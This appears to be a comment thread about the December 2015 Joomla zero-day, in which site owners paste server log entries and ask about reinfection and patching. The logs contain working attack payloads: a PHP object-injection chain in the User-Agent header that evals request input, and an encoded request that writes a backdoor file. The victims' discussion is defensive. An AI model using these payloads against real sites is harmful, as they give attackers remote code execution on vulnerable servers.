95.110.187.117 website – [31/Dec/2015:00:34:53 +0100] “GET /administrator/?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/administrator/dbconfig.php%27%2Cbase64_decode%28%”code I don’t provide for security ( I don’t know what is it)” HTTP/1.1″ 200 9187 “-” “Python-urllib/2.7”
95.110.187.117 website – [31/Dec/2015:00:34:54 +0100] “GET /?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/administrator/dbconfig.php%27%2Cbase64_decode%28%”code I don’t provide for security ( I don’t know what is it)” HTTP/1.1″ 200 68918 “-” “}__test|O:21:”JDatabaseDriverMysqli”:3:{s:2:”fc”;O:17:”JSimplepieFactory”:0:{}s:21:”\0\0\0disconnectHandlers”;a:1:{i:0;a:2:{i:0;O:9:”SimplePie”:5:{s:8:”sanitize”;O:20:”JDatabaseDriverMysql”:0:{}s:8:”feed_url”;s:46:”eval($_REQUEST[1]);JFactory::getConfig();exit;”;s:19:”cache_name_function”;s:6:”assert”;s:5:”cache”;b:1;s:11:”cache_class”;O:20:”JDatabaseDriverMysql”:0:{}}i:1;s:4:”init”;}}s:13:”\0\0\0connection”;b:1;}xf0x9dx8cx86″
I don’t find any file updated in the http://FTP….
My site was originally compromised on the zero day. Following a lot of effort we thought we had cleaned it up. Joomla was updated to 3.4.8 and php is 5.4.45. However it was successfully attacked last night.The only files I can find affect are defines.php in /includes and /administrator/includes.
In access.log I can see entries such as….
166.62.102.232 – – [01/Jan/2016:05:05:10 +0000] “GET / HTTP/1.1” 200 2097 “-” “}__test|O:21:”JDatabaseDriverMysqli”:3:{s:2:”fc”;O:17:”JSimplepieFactory”:0:{}s:21:”\0\0\0disconnectHandlers”;a:1:{i:0;a:2:{i:0;O:9:”SimplePie”:5:{s:8:”sanitize”;O:20:”JDatabaseDriverMysql”:0:{}s:8:”feed_url”;s:3822:”eval(base64_decode(‘JGNoZWNrID0gJF9TRV………entry continues on!!
I am not skilled enough to know if this was the successful attempt, the “200” is worrying as this was a success. Or perhaps I did not find all the entries previously and am being re-infected via a backdoor they have left themselves.?
We are witnessing the same as you across a number of Joomla! 3, 2.5 and 1.5 websites after rolling back to ‘clean’ backups made before 9 Dec 2015.
All affected sites are using J3.4.7 or latest Security Hot fixes (if J1.5 and 2.5) and PHP is 5.5.30 (before the 0-day Hack it was 5.4).
Anybody else shed any light? The fresh install of a J3.4.7 CMS and J2.5.28 + Hot Fixes TEST sites we have created are holding up well (no 0 Day hacks) but not the previously live sites which we are monitoring.
Currently we are faced with rock and hard place:
rebuild sites on fresh J3.4.7 (now 3.4.8 following bug fix release), or
expensive clean,
with neither guaranteeing freedom from future hacks.
I posted two links on the Joomla forum to reports on the Zero day. (My host had provided them after my site was hacked) The security moderators deleted the links under the premise of
“removed links expaining how to hack sites.”
Is there something I’m misunderstanding and does this page explain how to hack sites.
Anybody have any thoughts on this?
I installed oseSecure on my site several months ago, would this protect me? It scans and blocks sql injections, file uploading and code etc.
Thanks for sharing. Useful.
My site was hacked yesterday – my log:
… __test|O:21:”JDatabaseDriverMysqli”:3:{s:2:”fc”;O:17:”JSimplepieFactory”:0 …
I use Joomla 3.4.8, so the bug should have been fixed a few months ago. What’s wrong here?
My site was hacked yesterday, although I have the latest Joomla version. What’s going on here?
Very good thread. @dcid:disqus I have my site with Joomla 1.5 and we built a software in it. Therefore, we cannot upgrade to the new version because the software won’t work. How can I fix the vulnerability issues (possibly the hotfix) so we can have time to update the software and use it with another CMS.
Please advice. Thank you very much.